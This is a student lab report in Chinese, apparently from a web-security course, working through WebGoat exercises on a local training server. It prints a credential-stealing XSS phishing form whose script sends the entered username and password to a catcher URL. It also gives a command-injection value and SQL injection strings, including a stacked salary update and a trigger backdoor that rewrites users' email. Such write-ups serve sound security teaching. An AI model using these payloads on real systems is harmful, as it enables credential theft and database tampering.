20155320 Exp9 Web安全基础

20155320 Exp9 Web安全基础

【实验后回答问题】

  • (1)SQL注入攻击原理,如何防御

    • 1、 普通用户与系统管理员用户的权限要有严格的区分。

    • 2、 强迫使用参数化语句。

    • 3、 加强对用户输入的验证。

    • 4、使用SQL Server数据库自带的安全参数。

    • 5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。

    • 6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
  • (2)XSS攻击的原理,如何防御

  • (3)CSRF攻击原理,如何防御

    实验步骤

WebGoat

  • 运行WebGoat,在这之前需要一个java的环境,但是由于我用的老师的虚拟机,所以不用再配置JDK了,在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

  • 等到停止出现如下界面的时候,打开浏览器

  • 在地址栏输入localhost:8080/WebGoat
    打开WebGoat,选择默认账号、密码即可登陆成功。

### XSS练习

1、Phishing with XSS 跨站脚本钓鱼攻击

  • 这次实验的目的在于要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。首先我们创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码如下:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 然后在webgoat找到xss攻击打开Phishing with XSS

SQL注入攻击

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。SQL注入攻击是黑客对数据库进行攻击的常用手段之一。

  • 选择左栏中的Injection Flaws,选择下面的多种攻击进行实践

1.Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上
"& netstat -an & ipconfig"

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

  • 发现这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改。

  • 在Kali中找到BurpSuite,并打开
  • 在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5320,点击确认后会在Options下增加一行,勾选新形成的这一行:

  • 点击浏览器右上方的更多选项卡,选择preference

  • 在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

  • 在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致,都为我设置的5320)

  • 设置好后回到webgoat,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包

  • 右键选择send to repeater

  • 进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为

SELECT * FROM weather_data WHERE station = 101 or 1=1

image

  • 回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。

image

一定要注意!!!:在关闭了burpsuite之后,把浏览器的修改一改回去,否则浏览器上不了网,我在这弄了特别久T_T。

3.LAB: SQL Injection(stage1)

  • 使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,结果居然登录失败。

  • 然后在舍友的推荐下,使用一个新的工具firebug,可以显示当前网页的源码并直接在其中修改。

  • 一直搜password,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符,这意味着我的注入并没有全部输进去。

  • 对长度maxlength值进行扩大改成20,然后在密码栏中再次输入' or 1=1 --,这次全部输进去了,点击登录就成功了(注意登录的时候不要关闭源码页面)

4.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

  • 同上个小实验一样,修改长度然后输入' or 1=1 --登录成功

  • 查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到

  • 可以看到老板应该就是排在第一个的Neville了,电话地址电邮工资卡等等信息一览无余。

image

Database Backdoors

  • 先输一个101,得到了该用户的信息

  • 输入注入语句:
    101; update employee set salary=90000
    成功把该用户的工资涨到了90000,哈哈哈,感觉很厉害的样子。

  • 为使表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱,那么输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid
    就可以了,表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。

猜你喜欢

转载自www.cnblogs.com/ljq1997/p/9092250.html